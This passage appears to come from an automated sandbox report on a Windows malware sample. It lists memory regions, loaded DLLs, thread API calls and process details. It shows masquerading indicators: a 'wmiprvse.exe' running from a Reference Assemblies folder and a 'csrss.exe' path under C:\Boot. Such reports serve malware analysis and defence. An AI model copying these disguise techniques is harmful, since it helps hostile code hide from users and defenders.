"\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9439 start_va = 0x2080000 end_va = 0x20c4fff monitored = 0 entry_point = 0x2081064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9440 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9441 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9442 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 9443 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9479 start_va = 0x1b410000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 9480 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9521 start_va = 0x1b5a0000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 9522 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9523 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9553 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9571 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9581 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9595 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9596 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9630 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9631 start_va = 0x1b6a0000 end_va = 0x1b971fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9632 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9633 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9634 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9635 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9636 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9879 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9880 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9881 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 9882 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 9883 start_va = 0x750000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 9884 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 9885 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 9886 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 9887 start_va = 0x2080000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 9888 start_va = 0x2090000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 9889 start_va = 0x20a0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 9890 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 9891 start_va = 0x20c0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 9945 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 9946 start_va = 0x20e0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 9947 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 10090 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 10091 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 10092 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 10093 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 10094 start_va = 0x1a740000 end_va = 0x1a74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 10095 start_va = 0x1a750000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a750000" filename = "" Region: id = 10096 start_va = 0x1a760000 end_va = 0x1a76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 10097 start_va = 0x1a770000 end_va = 0x1a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a770000" filename = "" Region: id = 10098 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10099 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10100 start_va = 0x1a7a0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 10101 start_va = 0x1a8b0000 end_va = 0x1a8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 10102 start_va = 0x1a8c0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8c0000" filename = "" Region: id = 10103 start_va = 0x1a8d0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 10104 start_va = 0x1a8e0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 10105 start_va = 0x1a8f0000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 10106 start_va = 0x1a900000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a900000" filename = "" Region: id = 10107 start_va = 0x1a910000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a910000" filename = "" Region: id = 10203 start_va = 0x1a920000 end_va = 0x1a92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a920000" filename = "" Region: id = 10204 start_va = 0x1a930000 end_va = 0x1a93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a930000" filename = "" Region: id = 10205 start_va = 0x1a940000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a940000" filename = "" Region: id = 10310 start_va = 0x1a760000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 10311 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 10312 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 10384 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10385 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10386 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10387 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10388 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10389 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 10440 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 10441 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 10456 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10471 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10492 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10505 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Thread: id = 350 os_tid = 0x640 [0225.441] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.248] EtwEventRegister (in: ProviderId=0x23c5800, EnableCallback=0x1b00135c, CallbackContext=0x0, RegHandle=0x23c57e0 | out: RegHandle=0x23c57e0) returned 0x0 [0244.686] EtwEventRegister (in: ProviderId=0x23c9f70, EnableCallback=0x1b0013ac, CallbackContext=0x0, RegHandle=0x23c9f50 | out: RegHandle=0x23c9f50) returned 0x0 [0246.481] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d4960*=0xd8, lpdwindex=0x3be6f4 | out: lpdwindex=0x3be6f4) returned 0x0 [0247.709] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d4960*=0xd8, lpdwindex=0x3be6f4 | out: lpdwindex=0x3be6f4) returned 0x0 [0267.257] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x21e4840*=0x24, lpdwindex=0x3be3e4 | out: lpdwindex=0x3be3e4) returned 0x0 [0267.972] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5d4960*=0xd8, lpdwindex=0x3be6f4) Thread: id = 422 os_tid = 0x548 Thread: id = 440 os_tid = 0x814 [0227.707] CoGetContextToken (in: pToken=0x1a8af4a0 | out: pToken=0x1a8af4a0) returned 0x800401f0 [0227.708] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 445 os_tid = 0x828 Thread: id = 457 os_tid = 0x864 [0245.687] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.688] CoGetContextToken (in: pToken=0x1b1dfa30 | out: pToken=0x1b1dfa30) returned 0x0 [0245.688] CObjectContext::QueryInterface () returned 0x0 [0245.688] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.688] Release () returned 0x0 [0245.688] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.689] CoUninitialize () [0258.729] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1dde68 | out: phkResult=0x1b1dde68*=0x0) returned 0x2 [0258.729] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.735] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\csrss.exe", nBufferLength=0x105, lpBuffer=0x1b1de9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\csrss.exe", lpFilePart=0x0) returned 0x17 Thread: id = 458 os_tid = 0x868 Thread: id = 488 os_tid = 0x8e0 Thread: id = 505 os_tid = 0x928 Thread: id = 506 os_tid = 0x92c Thread: id = 533 os_tid = 0x99c [0248.661] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.662] CoGetContextToken (in: pToken=0x1b69f950 | out: pToken=0x1b69f950) returned 0x0 [0248.662] CObjectContext::QueryInterface () returned 0x0 [0248.662] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.662] Release () returned 0x0 [0248.662] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.662] CoUninitialize () Thread: id = 545 os_tid = 0x9d4 Process: id = "84" image_name = "wmiprvse.exe" filename = "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe" page_root = "0x7921c000" os_pid = "0x644" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7373 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7374 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7375 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7376 start_va = 0x3f0000 end_va = 0x4c7fff monitored = 1 entry_point = 0x4bf1ee region_type = mapped_file name = "wmiprvse.exe" filename = "\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe") Region: id = 7377 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7378 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7379 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7380 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7381 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7382 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 7383 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7384 start_va = 0x40000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7385 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7386 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7387 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7442 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7443 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7444 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7469 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7470 start_va = 0xe0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 7471 start_va = 0x4d0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 7472 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 7648 start_va = 0x4d0000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 7649 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 7692 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7693 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7694 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7695 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7696 start_va = 0x6b0000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 7697 start_va = 0x4d0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 7698 start_va = 0x5e0000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 7699 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7848 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7928 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7929 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7930 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7931 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7932 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8021 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8022 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 8023 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 8024 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8025 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8026 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8058 start_va = 0x860000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 8059 start_va = 0x9f0000 end_va = 0x1deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 8060 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8061 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8062 start_va = 0x1df0000 end_va = 0x1ec0fff monitored = 1 entry_point = 0x1ebf1ee region_type = mapped_file name = "wmiprvse.exe" filename = "\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe") Region: id = 8080 start_va = 0x1df0000 end_va = 0x1ec0fff monitored = 1 entry_point = 0x1ebf1ee region_type = mapped_file name = "wmiprvse.exe" filename = "\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\wmiprvse.exe") Region: id = 8081 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8284 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8304 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8406 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8415 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8416 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8417 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8418 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8419 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = 